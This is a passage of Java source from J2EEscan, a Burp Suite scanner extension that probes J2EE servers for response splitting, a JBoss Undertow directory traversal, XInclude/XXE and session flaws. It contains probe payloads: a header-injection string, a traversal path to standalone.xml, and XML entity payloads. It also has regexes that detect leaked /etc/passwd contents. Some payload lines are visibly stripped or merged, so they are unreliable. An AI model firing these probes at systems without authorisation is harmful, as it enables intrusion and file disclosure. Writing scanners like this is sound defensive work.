9 | import burp.IScanIssue;
10 | import burp.IScannerInsertionPoint;
11 | import burp.j2ee.Confidence;
12 | import burp.j2ee.CustomScanIssue;
13 | import burp.j2ee.Risk;
14 | import burp.j2ee.issues.IModule;
15 | import java.io.PrintWriter;
16 | import java.net.URL;
17 | import java.util.ArrayList;
18 | import java.util.LinkedHashSet;
19 | import java.util.List;
20 |
21 | /**
22 | *
23 | * UTF8 Response Splitting
24 | *
25 | *
26 | */
27 | public class UTF8ResponseSplitting implements IModule {
28 |
29 | // List of host and port system already tested
30 | private static LinkedHashSet hs = new LinkedHashSet();
31 |
32 | private static final String TITLE = "UTF8 Response Splitting";
33 | private static final String DESCRIPTION = "J2EEscan identified a Response Splitting vulnerability. "
34 | + "The application seems to ignore CRLF newline character (0x0a), but accepts utf8 newline chars "
35 | + "References "
36 | + "http://www.fhhyc.com/is-it-possible-to-exploit-this-line-feed/ "
37 | + "https://www.owasp.org/index.php/HTTP_Response_Splitting "
38 | + "https://www.owasp.org/index.php/Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)";
39 |
40 | private static final String REMEDY = "Usually this threat is introduced by underline libraries and technologies.";
41 |
42 | private static final byte[] INJ = "%E5%98%8A%E5%98%8DX-Injection:%20test".getBytes();
43 |
44 | private PrintWriter stderr;
45 |
46 | @Override
47 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
48 |
49 | List issues = new ArrayList<>();
50 |
51 | IExtensionHelpers helpers = callbacks.getHelpers();
52 | stderr = new PrintWriter(callbacks.getStderr(), true);
53 |
54 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
55 |
56 | URL url = reqInfo.getUrl();
57 | String host = url.getHost();
58 | int port = url.getPort();
59 |
60 | String system = host.concat(Integer.toString(port));
61 |
62 | String protocol = url.getProtocol();
63 | Boolean isSSL = (protocol.equals("https"));
64 |
65 | // make a request containing our injection test in the insertion point
66 | byte[] checkRequest = insertionPoint.buildRequest(INJ);
67 |
68 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
69 | baseRequestResponse.getHttpService(), checkRequest);
70 |
71 | IResponseInfo responseInfo = helpers.analyzeResponse(checkRequestResponse.getResponse());
72 |
73 | if (getResponseHeaderValue(responseInfo, "X-Injection") != null) {
74 | issues.add(new CustomScanIssue(
75 | baseRequestResponse.getHttpService(),
76 | helpers.analyzeRequest(baseRequestResponse).getUrl(),
77 | checkRequestResponse,
78 | TITLE,
79 | DESCRIPTION,
80 | REMEDY,
81 | Risk.Medium,
82 | Confidence.Certain
83 | ));
84 | }
85 |
86 | return issues;
87 |
88 | }
89 | }
90 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/UndertowTraversal.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import burp.CustomHttpRequestResponse;
4 | import static burp.HTTPMatcher.getMatches;
5 | import burp.IBurpExtenderCallbacks;
6 | import burp.IExtensionHelpers;
7 | import burp.IHttpRequestResponse;
8 | import burp.IRequestInfo;
9 | import burp.IResponseInfo;
10 | import burp.IScanIssue;
11 | import burp.IScannerInsertionPoint;
12 | import burp.j2ee.Confidence;
13 | import burp.j2ee.CustomScanIssue;
14 | import burp.j2ee.Risk;
15 | import burp.j2ee.issues.IModule;
16 |
17 | import java.io.PrintWriter;
18 | import java.net.MalformedURLException;
19 | import java.net.URL;
20 | import java.util.ArrayList;
21 | import java.util.Arrays;
22 | import java.util.LinkedHashSet;
23 | import java.util.List;
24 |
25 | /**
26 | *
27 | * CVE-2014-7816
28 | *
29 | * Directory traversal vulnerability in JBoss Undertow 1.0.x before 1.0.17, 1.1.x before 1.1.0.CR5,
30 | * and 1.2.x before 1.2.0.Beta3, when running on Windows, allows remote attackers
31 | * to read arbitrary files via a .. (dot dot) in a resource URI.
32 | *
33 | * https://bugzilla.redhat.com/show_bug.cgi?id=1157478
34 | * https://issues.jboss.org/browse/WFLY-4020
35 | *
36 | */
37 | public class UndertowTraversal implements IModule {
38 |
39 | // List of host and port system already tested
40 | private static LinkedHashSet hs = new LinkedHashSet();
41 |
42 | private static final String TITLE = "JBoss Undertow Directory Traversal";
43 | private static final String DESCRIPTION = "J2EEscan identified the JBoss Undertow "
44 | + "directory traversal vulnerability. "
45 | + "References : "
46 | + "https://bugzilla.redhat.com/show_bug.cgi?id=1157478 "
47 | + "https://issues.jboss.org/browse/WFLY-4020";
48 |
49 | private static final String REMEDY = "Update the software with the last security patches";
50 |
51 |
52 | private static final List JBOSS_PATHS = Arrays.asList(
53 | "/..\\\\standalone\\\\configuration\\\\standalone.xml"
54 | );
55 |
56 | /**
57 | *
58 | *
59 |
60 |
61 |
62 |
63 | [...]
64 | */
65 |
66 | private static final List GREP_STRINGS = Arrays.asList(
67 | " scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
75 |
76 | List issues = new ArrayList<>();
77 |
78 | IExtensionHelpers helpers = callbacks.getHelpers();
79 | stderr = new PrintWriter(callbacks.getStderr(), true);
80 |
81 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
82 |
83 | URL url = reqInfo.getUrl();
84 | String host = url.getHost();
85 | int port = url.getPort();
86 |
87 | String system = host.concat(Integer.toString(port));
88 |
89 | // System not yet tested for this vulnerability
90 | if (!hs.contains(system)) {
91 |
92 | hs.add(system);
93 |
94 | String protocol = url.getProtocol();
95 | Boolean isSSL = (protocol.equals("https"));
96 |
97 | for (String JBOSS_PATH : JBOSS_PATHS) {
98 |
99 | try {
100 |
101 | URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), JBOSS_PATH);
102 | byte[] jbosstest = helpers.buildHttpRequest(urlToTest);
103 |
104 | byte[] response = callbacks.makeHttpRequest(url.getHost(),
105 | url.getPort(), isSSL, jbosstest);
106 |
107 | IResponseInfo jbossUndertowInfo = helpers.analyzeResponse(response);
108 |
109 | if (jbossUndertowInfo.getStatusCode() == 200) {
110 |
111 | // look for matches of our active check grep string
112 | for (byte[] GREP_STRING : GREP_STRINGS) {
113 |
114 | List matches = getMatches(response, GREP_STRING, helpers);
115 |
116 | if (matches.size() > 0) {
117 |
118 | callbacks.addScanIssue(new CustomScanIssue(
119 | baseRequestResponse.getHttpService(),
120 | new URL(protocol, url.getHost(), url.getPort(), JBOSS_PATH),
121 | new CustomHttpRequestResponse(jbosstest, response, baseRequestResponse.getHttpService()),
122 | TITLE,
123 | DESCRIPTION,
124 | REMEDY,
125 | Risk.Medium,
126 | Confidence.Certain
127 | ));
128 | }
129 | }
130 | }
131 |
132 | } catch (MalformedURLException ex) {
133 | stderr.println("Malformed URL Exception " + ex);
134 | }
135 | }
136 | }
137 |
138 | return issues;
139 | }
140 |
141 | }
142 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/XInclude.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.IExtensionHelpers;
5 | import burp.IHttpRequestResponse;
6 | import burp.IRequestInfo;
7 | import burp.IScanIssue;
8 | import burp.IScannerInsertionPoint;
9 | import burp.j2ee.Confidence;
10 | import burp.j2ee.CustomScanIssue;
11 | import burp.j2ee.Risk;
12 | import burp.j2ee.issues.IModule;
13 |
14 | import java.net.URL;
15 | import java.util.ArrayList;
16 | import java.util.Arrays;
17 | import java.util.List;
18 | import java.util.regex.Matcher;
19 | import java.util.regex.Pattern;
20 |
21 | /**
22 | *
23 | * This module detect remote XML library parser with support of XInclude
24 | * capability
25 | *
26 | * This vulnerability usually could lead to Local File Include issues
27 | */
28 | public class XInclude implements IModule {
29 |
30 | private static final String TITLE = "XML Security - XInclude Support";
31 | private static final String DESCRIPTION = "J2EEscan verified XInclude functionality into the remote "
32 | + "XML parser; it's possible "
33 | + "to abuse this capability to execute LFI attacks."
34 | + " "
35 | + "References : "
36 | + "https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing "
37 | + "http://vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf ";
38 |
39 | private static final String REMEDY = "It's reccomended to disable XInclude
capability support.";
40 |
41 | private static final List XINCLUDE_REGEX = Arrays.asList(
42 | Pattern.compile("root:.*:0:[01]:", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
43 | // TODO FIXME Disable these patterns to avoid FP
44 |
45 | //Pattern.compile("file not found", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE),
46 | //Pattern.compile("java\\.io\\.FileNotFoundException", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
47 |
48 | private static final List XINCLUDE_INJ_TESTS = Arrays.asList(
49 | "".getBytes());
50 |
51 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
52 |
53 | IExtensionHelpers helpers = callbacks.getHelpers();
54 | List issues = new ArrayList<>();
55 | IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
56 | URL curURL = reqInfo.getUrl();
57 |
58 | // Skip test if there is no XML request body
59 | if (IRequestInfo.CONTENT_TYPE_XML != reqInfo.getContentType()){
60 | return issues;
61 | }
62 |
63 |
64 | for (byte[] INJ_TEST : XINCLUDE_INJ_TESTS) {
65 | // make a request containing our injection test in the insertion point
66 | byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
67 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
68 | baseRequestResponse.getHttpService(), checkRequest);
69 |
70 | String response = helpers.bytesToString(checkRequestResponse.getResponse());
71 |
72 | for (Pattern xincludeMatcher : XINCLUDE_REGEX) {
73 |
74 | Matcher matcher = xincludeMatcher.matcher(response);
75 |
76 | if (matcher.find()) {
77 |
78 | issues.add(new CustomScanIssue(
79 | baseRequestResponse.getHttpService(),
80 | reqInfo.getUrl(),
81 | checkRequestResponse,
82 | TITLE,
83 | DESCRIPTION,
84 | REMEDY,
85 | Risk.Medium,
86 | Confidence.Certain
87 | ));
88 |
89 | return issues;
90 | }
91 | }
92 | }
93 |
94 | return issues;
95 | }
96 | }
97 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/XXEParameterModule.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import burp.HTTPMatcher;
4 | import burp.IBurpExtenderCallbacks;
5 | import burp.IExtensionHelpers;
6 | import burp.IHttpRequestResponse;
7 | import burp.IScanIssue;
8 | import burp.IScannerInsertionPoint;
9 | import burp.j2ee.Confidence;
10 | import burp.j2ee.CustomScanIssue;
11 | import burp.j2ee.Risk;
12 | import burp.j2ee.issues.IModule;
13 | import java.util.ArrayList;
14 | import java.util.Arrays;
15 | import java.util.List;
16 | import java.util.regex.Matcher;
17 | import java.util.regex.Pattern;
18 |
19 | /**
20 | * Extend detection for XXE attacks
21 | *
22 | * XXE test on all HTTP parameters, not only on SOAP XML POST requests
23 | *
24 | */
25 | public class XXEParameterModule implements IModule{
26 |
27 | private static final String TITLE = "XML Security - XML External Entities Injection (XXE)";
28 | private static final String DESCRIPTION = "J2EEscan detect a XML External Entities Injection vulnerability. "
29 | + "The XML parsing library supports the use of custom entity references "
30 | + "in the XML document; custom entities "
31 | + "can be defined by including a user defined DOCTYPE that "
32 | + "reference an external resource to be included. "
33 | + "This option could be abused to carry on XXE attacks, leading "
34 | + "to DoS conditions, "
35 | + "local file include, internal LAN scanning and SSRF attacks. "
36 | + " "
37 | + "References : "
38 | + "https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing "
39 | + "https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf "
40 | + "http://en.wikipedia.org/wiki/Billion_laughs "
41 | + "http://docs.spring.io/spring-ws/site/reference/html/oxm.html "
42 | + "https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=61702260 "
43 | + "https://github.com/pwntester/BlockingServer "
44 | + "http://vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf "
45 | + "http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html ";
46 |
47 | private static final String REMEDY = "It's reccomended to disable DOCTYPE resolution on the XML library or update it with the last security patches. "
48 | + "https://github.com/jmurty/java-xmlbuilder/issues/6 "
49 | + "https://www.java.net/xxe-xml-external-entity-attack-jaxb-and-jersey "
50 | + "JAXB "
51 | + "Disable the following properties IS_SUPPORTING_EXTERNAL_ENTITIES and"
52 | + " XMLInputFactory.SUPPORT_DTD ";
53 |
54 | private static final List XXE_INJECTION_TESTS = Arrays.asList(
55 | "]>&xxe; ".getBytes(),
56 | // https://twitter.com/Agarri_FR/status/656440244116574208
57 | " %dtd;]> ]]>".getBytes()
58 | );
59 |
60 | private static final List XXE_RE_MATCHES = Arrays.asList(
61 | Pattern.compile("root:.*:0:[01]:", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE),
62 | Pattern.compile("file not found", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE),
63 | Pattern.compile("java\\.io\\.FileNotFoundException", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
64 |
65 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
66 |
67 | IExtensionHelpers helpers = callbacks.getHelpers();
68 | List issues = new ArrayList<>();
69 |
70 | for (byte[] INJ_TEST : XXE_INJECTION_TESTS) {
71 |
72 | // Test for XXE only if the injection point is an xml stream
73 | String baseValue = insertionPoint.getBaseValue();
74 | if (!HTTPMatcher.isXML(baseValue)){
75 | return issues;
76 | }
77 |
78 | byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
79 |
80 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
81 | baseRequestResponse.getHttpService(), checkRequest);
82 |
83 | String response = helpers.bytesToString(checkRequestResponse.getResponse());
84 |
85 | for (Pattern xxeMatcher : XXE_RE_MATCHES) {
86 |
87 | Matcher matcher = xxeMatcher.matcher(response);
88 |
89 | if (matcher.find()) {
90 |
91 | issues.add(new CustomScanIssue(
92 | baseRequestResponse.getHttpService(),
93 | helpers.analyzeRequest(baseRequestResponse).getUrl(),
94 | checkRequestResponse,
95 | TITLE,
96 | DESCRIPTION,
97 | REMEDY,
98 | Risk.High,
99 | Confidence.Certain));
100 |
101 | // Return at first XXE instance detected
102 | return issues;
103 | }
104 | }
105 | }
106 |
107 | return issues;
108 | }
109 | }
110 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/lib/TesterAjpMessage.java:
--------------------------------------------------------------------------------
1 |
2 | package burp.j2ee.lib;
3 |
4 |
5 | import java.util.ArrayList;
6 | import java.util.LinkedHashMap;
7 | import java.util.List;
8 | import java.util.Map;
9 | import org.apache.coyote.ajp.AjpMessage;
10 | import org.apache.coyote.ajp.Constants;
11 |
12 | /**
13 | *
14 | * https://github.com/threedr3am/learnjavabug/tree/master/tomcat/ajp-bug/src/main/java/com/threedr3am/bug/tomcat/ajp
15 | *
16 | * Extends {@link AjpMessage} to provide additional methods for reading from the
17 | * message.
18 | * TODO: See if it makes sense for any/all of these methods to be transferred to
19 | * AjpMessage
20 | */
21 | public class TesterAjpMessage extends AjpMessage {
22 |
23 | private final List headers = new ArrayList();
24 |
25 | private final Map attribute = new LinkedHashMap();
26 |
27 |
28 | public TesterAjpMessage(int packetSize) {
29 | super(packetSize);
30 | }
31 |
32 | public byte[] raw() {
33 | return buf;
34 | }
35 |
36 | public byte readByte() {
37 | return buf[pos++];
38 | }
39 |
40 | public int readInt() {
41 | int val = (buf[pos++] & 0xFF ) << 8;
42 | val += buf[pos++] & 0xFF;
43 | return val;
44 | }
45 |
46 | public String readString() {
47 | int len = readInt();
48 | return readString(len);
49 | }
50 |
51 | public String readString(int len) {
52 | StringBuilder buffer = new StringBuilder(len);
53 |
54 | for (int i = 0; i < len; i++) {
55 | char c = (char) buf[pos++];
56 | buffer.append(c);
57 | }
58 | // Read end of string marker
59 | readByte();
60 |
61 | return buffer.toString();
62 | }
63 |
64 | public String readHeaderName() {
65 | byte b = readByte();
66 | if ((b & 0xFF) == 0xA0) {
67 | // Coded header
68 | return Constants.getResponseHeaderForCode(readByte());
69 | } else {
70 | int len = (b & 0xFF) << 8;
71 | len += getByte() & 0xFF;
72 | return readString(len);
73 | }
74 | }
75 |
76 |
77 | public void addHeader(int code, String value) {
78 | headers.add(new Header(code, value));
79 | }
80 |
81 |
82 | public void addHeader(String name, String value) {
83 | headers.add(new Header(name, value));
84 | }
85 |
86 | public void addAttribute(String name, String value) {
87 | attribute.put(name, value);
88 | }
89 |
90 |
91 | @Override
92 | public void end() {
93 | // Add the header count
94 | appendInt(headers.size());
95 |
96 | for (Header header : headers) {
97 | header.append(this);
98 | }
99 |
100 | for (Map.Entry entry : attribute.entrySet()) {
101 | appendByte(10);
102 | appendString(entry.getKey());
103 | appendString(entry.getValue());
104 | }
105 |
106 | // Terminator
107 | appendByte(0xFF);
108 |
109 | len = pos;
110 | int dLen = len - 4;
111 |
112 | buf[0] = (byte) 0x12;
113 | buf[1] = (byte) 0x34;
114 | buf[2] = (byte) ((dLen>>>8) & 0xFF);
115 | buf[3] = (byte) (dLen & 0xFF);
116 | }
117 |
118 |
119 | @Override
120 | public void reset() {
121 | super.reset();
122 | headers.clear();
123 | }
124 |
125 |
126 |
127 |
128 | private static class Header {
129 | private final int code;
130 | private final String name;
131 | private final String value;
132 |
133 | public Header(int code, String value) {
134 | this.code = code;
135 | this.name = null;
136 | this.value = value;
137 | }
138 |
139 | public Header(String name, String value) {
140 | this.code = 0;
141 | this.name = name;
142 | this.value = value;
143 | }
144 |
145 | public void append(TesterAjpMessage message) {
146 | if (code == 0) {
147 | message.appendString(name);
148 | } else {
149 | message.appendInt(code);
150 | }
151 | message.appendString(value);
152 | }
153 | }
154 | }
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/passive/ApacheStrutsS2023Rule.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.passive;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.IExtensionHelpers;
5 | import burp.IHttpRequestResponse;
6 | import burp.IRequestInfo;
7 | import burp.IResponseInfo;
8 | import burp.j2ee.Confidence;
9 | import burp.j2ee.CustomScanIssue;
10 | import burp.j2ee.Risk;
11 | import burp.j2ee.passive.strutstoken.StrutsTokenCracker;
12 |
13 | import java.util.regex.Matcher;
14 | import java.util.regex.Pattern;
15 |
16 | /**
17 | * Rule that identify Struts S2-023
18 | *
19 | * Ref: http://struts.apache.org/docs/s2-023.html
20 | *
21 | * @author Philippe Arteau
22 | */
23 | public class ApacheStrutsS2023Rule implements PassiveRule {
24 |
25 | private final Pattern TOKEN_FIELD_PATTERN = Pattern.compile(" "
49 | + "References : "
50 | + "http://struts.apache.org/docs/s2-023.html "
51 | + "http://blog.h3xstream.com/2014/12/predicting-struts-csrf-token-cve-2014.html ",
52 | "Update the remote Struts vulnerable library",
53 | Risk.Medium,
54 | Confidence.Certain
55 | ));
56 | }
57 | }
58 | }
59 |
60 | }
61 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/passive/ApacheTomcatRule.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.passive;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.IExtensionHelpers;
5 | import burp.IHttpRequestResponse;
6 | import burp.IRequestInfo;
7 | import burp.IResponseInfo;
8 | import burp.SoftwareVersions;
9 | import burp.j2ee.Confidence;
10 | import burp.j2ee.CustomScanIssue;
11 | import burp.j2ee.Risk;
12 |
13 | import java.util.regex.Matcher;
14 | import java.util.regex.Pattern;
15 |
16 | public class ApacheTomcatRule implements PassiveRule {
17 |
18 | private static final Pattern TOMCAT_PATTERN = Pattern.compile("Apache Tomcat/([\\d\\.]+)", Pattern.DOTALL | Pattern.MULTILINE);
19 | private static final Pattern JVM_RULE = Pattern.compile("\">(1\\.\\d\\.[\\w\\-\\_\\.]+)<", Pattern.DOTALL | Pattern.MULTILINE);
20 |
21 | @Override
22 | public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse,
23 | String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo,
24 | String httpServerHeader, String contentTypeResponse, String xPoweredByHeader) {
25 | IExtensionHelpers helpers = callbacks.getHelpers();
26 |
27 | /**
28 | * Detect Apache Tomcat
29 | */
30 | if (respBody != null && contentTypeResponse != null
31 | && (contentTypeResponse.contains("text/html") || (contentTypeResponse.contains("text/plain")))) {
32 |
33 | Matcher matcher = TOMCAT_PATTERN.matcher(respBody);
34 |
35 | if (matcher.find()) {
36 | String version = matcher.group(1);
37 |
38 | SoftwareVersions.getIssues("Apache Tomcat", version, callbacks, baseRequestResponse);
39 |
40 | String nistLink = "https://web.nvd.nist.gov/view/vuln/search-results?adv_search=true&cpe=cpe%3A%2Fa%3Aapache%3Atomcat%3A" + version;
41 | callbacks.addScanIssue(new CustomScanIssue(
42 | baseRequestResponse.getHttpService(),
43 | reqInfo.getUrl(),
44 | baseRequestResponse,
45 | "Information Disclosure - Apache Tomcat " + version,
46 | "J2EEscan identified the remote Servlet Container release; "
47 | + "Apache Tomcat version " + version + " . "
48 | + "Potential vulnerabilities for this release are available at: "
49 | + " "
50 | + "References "
51 | + "http://tomcat.apache.org/security.html",
52 | "Configure the remote application to correctly manage error pages to avoid information disclosure issues",
53 | Risk.Low,
54 | Confidence.Certain
55 | ));
56 | }
57 |
58 | }
59 |
60 | /**
61 | *
62 | * JVM Remote Release Detection
63 | *
64 | * Tomcat Manager JVM info
65 | *
66 | *
67 | * Apache Tomcat/6.0.26
68 | * 1.6.0_18-b18
69 | * Sun Microsystems Inc.
70 | * Linux
71 | * 2.6.30.10-105.2.23.fc11.i686.PAE
73 | * i386
74 | */
75 | if (respBody != null && reqInfo.getUrl().getPath().contains("manager/html")) {
76 |
77 | Matcher matcher = JVM_RULE.matcher(respBody);
78 |
79 | if (matcher.find()) {
80 |
81 | callbacks.addScanIssue(new CustomScanIssue(
82 | baseRequestResponse.getHttpService(),
83 | reqInfo.getUrl(),
84 | baseRequestResponse,
85 | "Information Disclosure - JVM Remote Release Detection",
86 | "J2EEscan identified the remote JVM release " + matcher.group(1) + " ",
87 | "Verify the Java updates for the release:"
88 | + "Java 1.7 http://www.oracle.com/technetwork/java/javase/7u-relnotes-515228.html "
89 | + "Java 1.6 http://www.oracle.com/technetwork/java/javase/releasenotes-136954.html "
90 | + "Java 1.5 http://www.oracle.com/technetwork/articles/javase/overview-137139.html "
91 | + " ",
92 | Risk.Information,
93 | Confidence.Certain
94 | ));
95 | }
96 | }
97 | }
98 | }
99 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/passive/JettyRule.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.passive;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.IExtensionHelpers;
5 | import burp.IHttpRequestResponse;
6 | import burp.IRequestInfo;
7 | import burp.IResponseInfo;
8 | import burp.j2ee.Confidence;
9 | import burp.j2ee.CustomScanIssue;
10 | import burp.j2ee.Risk;
11 |
12 | import java.util.regex.Matcher;
13 | import java.util.regex.Pattern;
14 |
15 | public class JettyRule implements PassiveRule {
16 |
17 | private static final Pattern JETTY_PATTERN = Pattern.compile(">Powered by Jetty", Pattern.DOTALL | Pattern.MULTILINE);
18 |
19 | @Override
20 | public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse,
21 | String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo,
22 | String httpServerHeader, String contentTypeResponse, String xPoweredByHeader) {
23 | IExtensionHelpers helpers = callbacks.getHelpers();
24 |
25 | /**
26 | * Detect Jetty
27 | */
28 | if (respBody != null && contentTypeResponse != null
29 | && (contentTypeResponse.contains("text/html") || (contentTypeResponse.contains("text/plain")))) {
30 |
31 |
32 | Matcher matcher = JETTY_PATTERN.matcher(respBody);
33 |
34 | if (matcher.find()) {
35 |
36 | callbacks.addScanIssue(new CustomScanIssue(
37 | baseRequestResponse.getHttpService(),
38 | reqInfo.getUrl(),
39 | baseRequestResponse,
40 | "Information Disclosure - Jetty",
41 | "J2EEscan identified the remote Servlet Container",
42 | "",
43 | Risk.Information,
44 | Confidence.Certain
45 | ));
46 | }
47 |
48 | }
49 |
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/passive/PassiveRule.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.passive;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.IHttpRequestResponse;
5 | import burp.IRequestInfo;
6 | import burp.IResponseInfo;
7 |
8 | public interface PassiveRule {
9 |
10 |
11 | void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse,
12 | String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo,
13 | String httpServerHeader, String contentTypeResponse, String xPoweredByHeader);
14 | }
15 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/passive/SessionFixation.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.passive;
2 |
3 | import static burp.HTTPMatcher.isJavaApplicationByURL;
4 | import burp.HTTPParser;
5 | import burp.IBurpExtenderCallbacks;
6 | import burp.IHttpRequestResponse;
7 | import burp.IRequestInfo;
8 | import burp.IResponseInfo;
9 | import burp.j2ee.Confidence;
10 | import burp.j2ee.CustomScanIssue;
11 | import burp.j2ee.Risk;
12 | import java.net.URL;
13 |
14 | /**
15 | *
16 | * Basic dummy strategy to identify Session Fixation issues
17 | *
18 | *
19 | * TODO - improve the detection method, it's prone to FP.
20 | * - More tests needed
21 | * - Need to extend also to other common cookies, not only JSESSIONID
22 | *
23 | */
24 | public class SessionFixation implements PassiveRule {
25 |
26 | private static final String TITLE = "J2EE Session Fixation";
27 | private static final String DESCRIPTION = "J2EEscan identified a Session Fixation issue. "
28 | + "Authenticating a user, or otherwise establishing a new user session, without invalidating any "
29 | + "existing session identifier gives an attacker the opportunity to steal authenticated sessions. "
30 | + ""
31 | + "Due to the nature of the vulnerability, this check is prone to False Positives and must be manually confirmed "
32 | + " "
34 | + "References : "
35 | + "https://www.owasp.org/index.php/Testing_for_Session_Fixation_(OTG-SESS-003) "
36 | + "https://community.liferay.com/forums/-/message_boards/message/79181621 "
37 | + "https://cwe.mitre.org/data/definitions/384.html "
38 | + "https://docs.spring.io/spring-security/site/docs/3.2.1.RELEASE/apidocs/org/springframework/security/web/authentication/session/SessionFixationProtectionStrategy.html";
39 |
40 | private static final String REMEDY = "Invalidate any existing session identifiers prior to authorizing a new user session.";
41 |
42 | @Override
43 | public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse,
44 | String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo,
45 | String httpServerHeader, String contentTypeResponse, String xPoweredByHeader) {
46 |
47 | URL curURL = reqInfo.getUrl();
48 |
49 | // Skip test for not j2ee applications
50 | if (!isJavaApplicationByURL(curURL)) {
51 | return;
52 | }
53 |
54 | String requestCookie = HTTPParser.getRequestHeaderValue(reqInfo, "Cookie");
55 |
56 | // Verify if the client use a JSESSIOIND cookie to track HTTP sessions
57 | if (requestCookie != null && requestCookie.contains("JSESSIONID")) {
58 |
59 | String reqBodyLowercase = reqBody.toLowerCase();
60 |
61 | if (reqBodyLowercase != null
62 | && (reqBodyLowercase.contains("password") || reqBodyLowercase.contains("pwd") || reqBodyLowercase.contains("passw"))
63 | && (reqBodyLowercase.contains("user") || reqBodyLowercase.contains("uid") || reqBodyLowercase.contains("mail"))) {
64 |
65 | String setCookieHeader = HTTPParser.getResponseHeaderValue(respInfo, "Set-Cookie");
66 |
67 | if ((setCookieHeader == null) || (setCookieHeader != null && !setCookieHeader.contains("JSESSIONID"))) {
68 |
69 | callbacks.addScanIssue(new CustomScanIssue(
70 | baseRequestResponse.getHttpService(),
71 | reqInfo.getUrl(),
72 | baseRequestResponse,
73 | TITLE,
74 | DESCRIPTION,
75 | REMEDY,
76 | Risk.Medium,
77 | Confidence.Tentative
78 | ));
79 | }
80 | }
81 | }
82 |
83 | }
84 |
85 | }
86 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/passive/SessionIDInURL.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.passive;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.IExtensionHelpers;
5 | import burp.IHttpRequestResponse;
6 | import burp.IRequestInfo;
7 | import burp.IResponseInfo;
8 | import burp.j2ee.Confidence;
9 | import burp.j2ee.CustomScanIssue;
10 | import burp.j2ee.Risk;
11 | import java.net.URL;
12 | import java.util.ArrayList;
13 | import java.util.Arrays;
14 | import java.util.List;
15 |
16 |
17 | /**
18 | * Improved detection for session identifiers in URL
19 | *
20 | * The passive rule checks the usage of path parameters on common J2EE platforms
21 | *
22 | * References:
23 | * - CWE-598
24 | * - http://www.jtmelton.com/2011/02/02/beware-the-http-path-parameter/
25 | * - https://doriantaylor.com/policy/http-url-path-parameter-syntax
26 | *
27 | */
28 | public class SessionIDInURL implements PassiveRule {
29 |
30 | private static final List SESSIONIDs = new ArrayList<>(Arrays.asList(";jsessionid"));
31 |
32 |
33 | @Override
34 | public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse,
35 | String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo,
36 | String httpServerHeader, String contentTypeResponse, String xPoweredByHeader) {
37 |
